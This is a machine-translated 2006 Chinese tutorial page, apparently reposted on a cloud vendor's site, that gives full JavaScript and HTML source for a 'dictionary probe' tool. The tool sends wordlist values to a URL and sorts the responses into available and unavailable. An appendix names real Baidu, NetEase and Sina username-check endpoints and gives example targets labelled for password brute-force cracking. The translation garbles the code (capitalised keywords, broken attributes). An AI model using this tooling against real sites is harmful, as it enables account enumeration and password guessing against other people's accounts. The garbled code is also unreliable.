JavaScript dictionary probe user name tool _javascript tips

Source: Internet
Author: User
Tags rar
<html>


<head>


<style>


body {font-size:10pt; Background-color: #D4D0C8}


td {FONT-SIZE:9PT}


</style>


</head>





<script language= "JavaScript" >





/*


Program title: JavaScript Dictionary probe user name tool


Release Time: August 2006


Article Author: Zhangkai (Xiao Qi)


Author Website: http://www.xiaoqi.net


Author Forum: http://www.tdqy.com


Demo Address: http://www.xiaoqi.net/zuopin/js_user_swf.htm


qq:22336848 53353866


About this article:


It is better to give a person a fish than to give it to him. The core code of the program, there are detailed annotations,


The purpose is to let you understand a program development process and the implementation of the program function principle,


And not just to provide you with one such tool. I hope the friends who have read this article will have


Gain, and I can share the fun of writing programs in JavaScript.


*/





Try to create a XMLHttpRequest object in IE browser


var xmlhttp = null;


Try


{


XMLHTTP = new ActiveXObject ("MSXML2. XMLHTTP ");


}


catch (E)


{


Try


{


XMLHTTP = new ActiveXObject ("Microsoft.XMLHTTP");


}


catch (e) {


Alert ("Your browser cannot create a XMLHttpRequest object, you cannot use this program!");


}


}


Attempt to create a XMLHttpRequest object end in IE browser





/*


Zhangkai Note: msxml2.xmlhttp and Microsoft.XMLHTTP are Microsoft's XMLHTTP controls, but different versions.


If the security level of IE is not too high, Microsoft's XMLHTTP control can obtain data across domains.


Because the Mozilla Firefox browser's XMLHttpRequest () cannot fetch data across domains, we do not have to create XMLHTTP objects XMLHttpRequest () methods.


*/








Processing of the returned Chinese encoding author: Zhangkai


function rec_html (Html)


{


var rec=new activexobject ("ADODB"). RecordSet ");


Rec.Fields.Append ("Xiaoqi", 201, 1);


Rec.open ();


Rec.addnew ();


Rec (0). AppendChunk (Html);


Rec.update ();


Return Rec (0). Value;


Rec.close ();


}


End of returned Chinese encoding processing








The start probe parameter is the current value to probe


function Geturl (ID)


{


try{


Xmlhttp.open ("Get", url.value+id,false)//Define data transfer method, URL of Service Web page (probe address + probe value), whether synchronous execution


Xmlhttp.onreadystatechange = function () {//xmlhttp trigger Event





if (xmlhttp.readystate==4)//xmlhttp object state if completed


{


if (xmlhttp.status==200)//If the server returns a status code of 200 (successful)


{





Judging the conversion of the result in Chinese encoding


if (Err.value.replace (/[^\w]/g, '). length=0)


/* Note on conversion judgment:


For example: "Zhangkai". Replace (/[^\w]/g, ""). Length returns results 3


"Zhangkai 22336848". Replace (/[^\w]/g, '). Length return result 3


"xiaoqi22336848". Replace (/[^\w]/g, '). Length returns results 0


"Xiao Qi 22336848". Replace (/[^\w]/g, '). Length returns results 2


The function of replace (/[^\w]/g, ') is to erase both the English and the digits in the string.


*/


{


html=xmlhttp.responsetext;//not converted


}


Else


{


Html=rec_html (xmlhttp.responsebody);//Conversion


}


The end of the conversion judgment of the Chinese encoding of the result








Distinguish between available and unavailable values based on your judgment!


if (Html.indexof (err.value,0) <0)


{


x_1.innerhtml=x_1.innerhtml+ "<nobr>" +id;//output available values


}


Else


{


x_2.innerhtml=x_2.innerhtml+ "<nobr>" +id;//output unavailable value


}


Distinguish between available and unavailable values based on your judgment!


}


}


}


Xmlhttp.send ();


}


catch (E)


{


x_2.innerhtml=x_2.innerhtml+ "<nobr>" +id+ "Timeout!"; /output exception or timeout value.


}


}


Start probe end








Load the local dictionary file and define the content as an array


function Kaishi () {


Filefullpath=dic_url.value;


Xmlhttp.open ("Get", filefullpath,false);//Load Dictionary file method


Xmlhttp.send ();





Html=rec_html (xmlhttp.responsebody)//Chinese code conversion


Dic=html.split (' \ r \ n ');//Convert the loaded dictionary contents to an array in line breaks


sl.value=dic.length;//tells the user how many times to probe (array size)





Xunhuan ()///Start loop probe after successful loading.


}


Load the local dictionary file and define the content as an array end








Cyclic detection


function Xunhuan ()


{


Bar=parseint (Jd.value);//Convert a progress value to an integer


if (bar<sl.value)//To determine whether the probe is finished


{


For (I=0;i<parseint (jc.value); i++) {//Set probe thread


Geturl (Dic[bar+i]);//to probe from the value of the array


}





Jd.value=bar+parseint (Jc.value)//cumulative probe progress and present progress to the user


SetTimeout ("Xunhuan ()", parseint (hc.value*1000))//Repeat cycle detection based on buffer time


}


else//returns the result of the probe completion to the user if the progress is not less than the number of times to probe.


{


Alert ("Probe complete!");


}


}


Loop probe End








Pause Probe function


function Pause (obj)


{


if (obj.value== ' paused ')


{


obj.temp=hc.value;//memory of the original buffer time.


hc.value=5000;//sets the buffer time to 5,000 seconds, and the value can be modified by itself.


Obj.value= ' Continue '/Change button display status


}


Else


{


hc.value=obj.temp;//extracts the original buffer time.


Obj.value= ' pause '/change button display status


Kaishi ()//Continue probing


}


}


Pause probe Function End








function ck ()//single value probe validation check


{


if (url.value.length<5) {alert (' Please enter the address to be probed! '); return};


if (id_one.value.length<1) {alert (' Please enter the value to probe! '); return};


Geturl (Id_one.value)


}





function Ck1 ()//batch value detection verification check


{


if (url.value.length<5) {alert ("Please enter the address to probe!"); Return


if (err.value.length<1) {alert ("Please enter an unavailable tag!"); Return


if (dic_url.value.length<5) {alert ("Please select dictionary file first!"); Return


jd.value=0;


Kaishi ()


}


</script>








<body>





Program Author: Zhangkai Note: If it is not available, or if the result displays a timeout, download this page to use on your local computer.


<fieldset >


<legend> Detection Settings </legend>


<table border= "1" width= "100%" bordercolorlight= "#E6E6E6" cellspacing= "0" bordercolordark= "#D4D0C8" >


<tr>


<td> Probe Address </td>


<td>


<input type= "text" id= "url" size= "" "value=" http://www.xiaoqi.net/zuopin/login.asp?username= Zhangkai &password= " ></td>


</tr>


<tr>


<td> Failure Inclusion Mark </td>


<td><input type= "text" id= "err" size= "not correct" value= "incorrect" ></td>


</tr>


<tr>


<td> test a single value </td>


<td><input type= "text" id= "Id_one" size= ">"


<input type= "button" value= "Detect" onclick= "CK ();" > </td>


</tr>


<tr>


<td> Select dictionary file </td>


<td><input type= "File" Name= "Dic_url" size= "value=" ">


<input type= "button" value= "Start" onclick= "Ck1 ();" >


<input type= "button" value= "Pause" temp= "onclick=" Pause (this) >


<input type= "button" value= "Purge available results" onclick= "x_1.innerhtml=" ">


<input type= "button" value= "Purge unavailable results" onclick= "x_2.innerhtml=" ">


</td>


</tr>


<tr>


<td> Advanced Parameters </td>


<td>


Each probe: <input type= "text" id= "JC" value= "1" size= "3" >


Buffer time: <input type= "text" id= "HC" value= "0.1" size= "3" > Sec


Progress: <input type= "text" id= "JD" value= "0" size= ">"


Probe Quantity: <input type= "text" id= "SL" size= ">"


</td>


</tr>


</table>


</fieldset>





<fieldset>


<legend> Available Values:</legend>


<div style= "Height:100px;width:100%;overflow:auto;" ><span id= "X_1" ></span></div></fieldset>





<fieldset>


<legend> Unavailable Value:</legend>


<div style= "Height:100px;width:100%;overflow:auto;" ><span id= "X_2" ></span></div>


</fieldset>





<p> Appendix:</p>


<table border= "1" width= "100%" id= "table1" cellspacing= "0" cellpadding= "3" >


<tr style= "Font-weight:bold; Background-color: #C0C0C0 ">


<TD width= > Test dictionary file Address </td>


<TD width= "633" colspan= "3" ><span style= "font-weight:400" >


<font size= "3" >http://www.xiaoqi.net/zuopin/dic.txt</font></span></td>


</tr>


<tr style= "Font-weight:bold; Background-color: #C0C0C0 ">


<TD width= > website name </td>


<TD width= "435" > Entrance </td>


<TD width= > Unavailable Tags </td>


<TD width= > Notes </td>


</tr>


<tr>


<TD width= > Baidu User Registration </td>


<TD width= "435" >http://passport.baidu.com/?check_username&un=</td>


<TD width= ">false</td>"


<TD width= "> </td>"


</tr>


<tr>


<TD width= > Baidu Space Register </td>


<TD width= "435" >http://hi.baidu.com/sys/checkurl/item/</td>


<TD width= ">false</td>"


<TD width= ">" should first use Baidu user login </td>


</tr>


<tr>


<TD width= > NetEase Pass Registration </td>


<TD width= "435" >http://reg.163.com/register/checkssn.jsp?username=</td>


<TD width= > Sorry </td>


<TD width= "> </td>"


</tr>


<tr>


<TD width= > Sina pass </td>


<TD width= "435" >


<input type= "text" size= "value=" http://unipro.sina.com.cn/cgi-bin/t5checkuser0.cgi?encpm= 96ad1b22f3b6f5d641980dd7515d40b0779972460aea0f857bfd45c63380c909382087da578a10a278fa840c6cec9cb2c933eace6ef114ae61938a14a 2f9fa569f33421b346faae845af2b99a203408ef831de7de17ae6726224b2f89f65efeb089ed08084afb13b8b9232bd10a7ede7fd2a6b3d2181558bef 80c3a45976850d&email=&password=&password2=&pwdq=&pwda=&sex=&byear=1986&bmonth= 01&bday=01&options=&outinstr=&safe_num=&safe_num2=&identityinfo=&identitynum=& Checkidentitynum=&ismail=&userid= "></td>


Width= "<TD" > login is occupied </td>


<TD width= "> </td>"


</tr>


<tr>


<TD width= "> Test website User Password Brute-force cracking </td>


<TD width= "435" >


Http://www.xiaoqi.net/zuopin/login.asp?username= Zhangkai &password=</td>


Width= "<TD" > Incorrect </td>


<TD width= "> </td>"


</tr>


<tr>


<TD width= "> Test website User Password Brute-force cracking </td>


<TD width= "435" >


Http://www.xiaoqi.net/zuopin/login.asp?username= Xiao-Qi &password=</td>


Width= "<TD" > Incorrect </td>


<TD width= "> </td>"


</tr>


</table>


<input type= "hidden" id= "Dic1" value= "FF" ><input type= "hidden" id= "jc_id" value><p>


Program Author: Zhangkai Development Date: August 2006 <br>


Author website: <a href= "Http://www.xiaoqi.net" >http://www.xiaoqi.net</a><br>


Demo Address: <a href= "http://www.xiaoqi.net/zuopin/js_user_swf.htm" >http://www.xiaoqi.net/zuopin/js_user_swf.htm </a><br>


Program package download Address: <a href= "Http://www.xiaoqi.net/zuopin/js_user.rar" >http://www.xiaoqi.net/zuopin/js_user.rar</ A><br>


Qq:22336848</p></p>





</body>





</html>

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.